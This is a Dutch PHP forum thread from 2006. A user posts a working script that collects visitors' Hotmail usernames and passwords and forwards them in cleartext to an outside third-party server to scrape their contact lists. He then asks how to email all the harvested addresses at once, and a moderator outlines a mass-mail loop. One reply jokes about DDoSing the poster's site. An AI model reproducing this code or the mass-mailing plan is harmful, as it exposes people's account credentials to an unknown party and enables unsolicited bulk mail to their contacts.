login  Naam:   Wachtwoord: 
Registreer je!
 Forum

Resultaat in mailform zetten

Offline ikki007 - 25/05/2006 13:47
Avatar van ikki007Gouden medailleGouden medaille

PHP ver gevorderde
Hoi ik gebruik dit script om hotmailadressen op te halen:

  1. <?php
  2.  
  3. $disclaimer = "";
  4.  
  5. if ($_POST)
  6. {
  7. $login = $_POST['username'];
  8. $password = $_POST['password'];
  9.  
  10. #you should call get_contacts like this:
  11. $resultarray = get_contacts($login, $password);
  12.  
  13. #if contacts were retreived successfully:
  14. if(is_array($resultarray))
  15. {
  16. #the first array_shift of the result will give you the names in an array
  17. $names = array_shift($resultarray);
  18. #the second array_shift of the result will give you the emails
  19. $emails = array_shift($resultarray);
  20.  
  21. $maxin = count($names);
  22. echo "<table>";
  23. for ($i=0; $i<$maxin; ++$i)
  24. {
  25. $emails[$i] = trim($emails[$i]);
  26. echo "<tr><td>" . ($i+1) . "</td><td>$names[$i]</td><td>$emails[$i]</td></tr>";
  27. }
  28. echo "</table>";
  29. }
  30. }
  31. else
  32. {
  33. $action = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . ((isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!="")? "?$_SERVER[QUERY_STRING]" : "");
  34. $formname = "Hotmail";
  35. include("demoform.php");
  36. }
  37.  
  38.  
  39. function get_contacts($login, $password)
  40. {
  41. global $formname;
  42. global $formheading;
  43. global $disclaimer;
  44. global $usrtxt;
  45.  
  46. if(!eregi("@", $login))
  47. {
  48. $login .= "@hotmail.com";
  49. }
  50.  
  51. if (trim($login)=="" || trim($password)=="")
  52. {
  53. $action = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . ((isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!="")? "?$_SERVER[QUERY_STRING]" : ""); $disclaimer = "<br><b style=\"color:red\">Enter Your Username and Password</b><br>";
  54. $formname = "Hotmail";
  55. include("demoform.php");
  56. return 0;
  57. }
  58.  
  59. $url = $_SERVER['PHP_SELF'];
  60. $querystr = (isset($_SERVER['QUERY_STRING'])?"?" . $_SERVER['QUERY_STRING']:"");
  61. $url .= $querystr;
  62.  
  63. $ch = curl_init();
  64. curl_setopt($ch, CURLOPT_URL,"http://svetlozar.net/nukemodule/hotmaildemo.php");
  65. curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST'] . $url);
  66. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  67. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  68. curl_setopt($ch, CURLOPT_POST, 1);
  69. curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&password=$password");
  70.  
  71. $html = curl_exec($ch);
  72.  
  73. if(eregi("###invalid###", $html))
  74. {
  75. $action = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . ((isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!="")? "?$_SERVER[QUERY_STRING]" : ""); $disclaimer = "<br><b style=\"color:red\">Invalid Login</b><br>";
  76. $formname = "Hotmail";
  77. include("demoform.php");
  78. return 0;
  79. }
  80. else if(eregi("###warning###", $html))
  81. {
  82. echo $html;
  83. return 0;
  84. }
  85.  
  86. $html = explode("\n", $html);
  87. if (count($html) == 2)
  88. {
  89. $names = explode("#", $html[0]);
  90. $emails = explode("#", $html[1]);
  91. }
  92.  
  93. return array($names, $emails);
  94. }
  95.  
  96. ?>


Alleen nu zet die het resultaat in 1 lange kolom met een cijfertje ervoor.
Hoe zorg ik ervoor dat die ze in een mailform zet en dat als ik op verzenden klik dat die het mailtje NAAR alle opgehaalde adressen stuurd..

9 antwoorden

Gesponsorde links
Offline RSO - 25/05/2006 16:55
Avatar van RSO HTML interesse sorry, maar ik snap je vraag niet echt... wat wil je nou precies?
Offline marten - 25/05/2006 17:07 (laatste wijziging 25/05/2006 17:14)
Avatar van marten Beheerder kan dit niet in andere topic?

en je code aub in plaatscode.be

Verder kan je bij scripts wel zoeken naar dit soort scripts. De inhoud van de mail kan je makkelijk maken met , zoals je al zegt, een formuliertje.

Dus
1. Code in www.plaatscode.be in het vervolg
2. Geen nieuw topic aanmaken
3. Zoeken naar een nieuwsbrief systeem / meerdere mails tegelijk sturen in scripts.

Verder als tip. Kijk eens bij de topics die problemen hebben met dit soort systemen ;) dan kan je die problemen gelijk opvangen in je eigen script.

Good Luck
Offline ikki007 - 25/05/2006 17:51
Avatar van ikki007 Gouden medailleGouden medaille

PHP ver gevorderde
Ok sorry van plaatscode.be foutje..

Meerdere mails tegelijk: http://www.site...amp;id=417

Alleen ehh hoe combineer ik het met dit script..

Sorry ik heb veel hulp nodig
Offline marten - 25/05/2006 17:56 (laatste wijziging 25/05/2006 17:59)
Avatar van marten Beheerder maakt niet uit 

1. je moet je afvragen hoe je de personen met hun emailadressen gaat ophalen. Heb je code niet doorgenomen maar dacht via database.
2. Je moet nu dus kijken hoe je de mailtjes kan en gaat versturen. Als het niet al teveel mailtjes zijn dan kan dit via mail() als dit wel zo is kan je beter via een mailserver laten draaien.
3. Als je een beslissing gemaakt hebt ga je kijken hoe je het kan versturen. Je kan alle email adressen ophalen en vervolgens in een loop gooien die ze verzend.
4. Als je je script beetje draaiende hebt en getest dan ga je kijken of er manieren zijn om het sneller te laten draaien enzo. Dit kan je doen door de topics te lezen over dit soort problemen ;)
Offline ikki007 - 25/05/2006 17:59
Avatar van ikki007 Gouden medailleGouden medaille

PHP ver gevorderde
  1. je moet je afvragen hoe je de personen met hun emailadressen gaat ophalen.


Uhuh?
Offline marten - 25/05/2006 18:07 (laatste wijziging 25/05/2006 18:10)
Avatar van marten Beheerder heb je misschien een voorbeeld online staan?

Citaat:
Alleen nu zet die het resultaat in 1 lange kolom met een cijfertje ervoor.


Je code laat anders zien namelijk allemaal per rij maar denk dat je dat niet bedoeld (hoe het eruit komt)
Offline ikki007 - 25/05/2006 19:35
Avatar van ikki007 Gouden medailleGouden medaille

PHP ver gevorderde
Voorbeeld:

http://www.youn...demodn.php
Offline flyingdragon - 25/05/2006 20:29
Avatar van flyingdragon PHP beginner @ikki007
Als ik zulke sites zie staan krijg ik spontaan neigingen om die site de gaan d-dos'en.
Citaat:
*Je wachtwoord wordt niet opgeslagen op de server. Het wordt alleen gebruikt om in te loggen op Hotmail en je contacten op te halen en de mail te zenden.
lol^^
Offline ikki007 - 25/05/2006 22:58
Avatar van ikki007 Gouden medailleGouden medaille

PHP ver gevorderde
Ja dat staat er standaard op, wordt nog aangepast..!
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.238s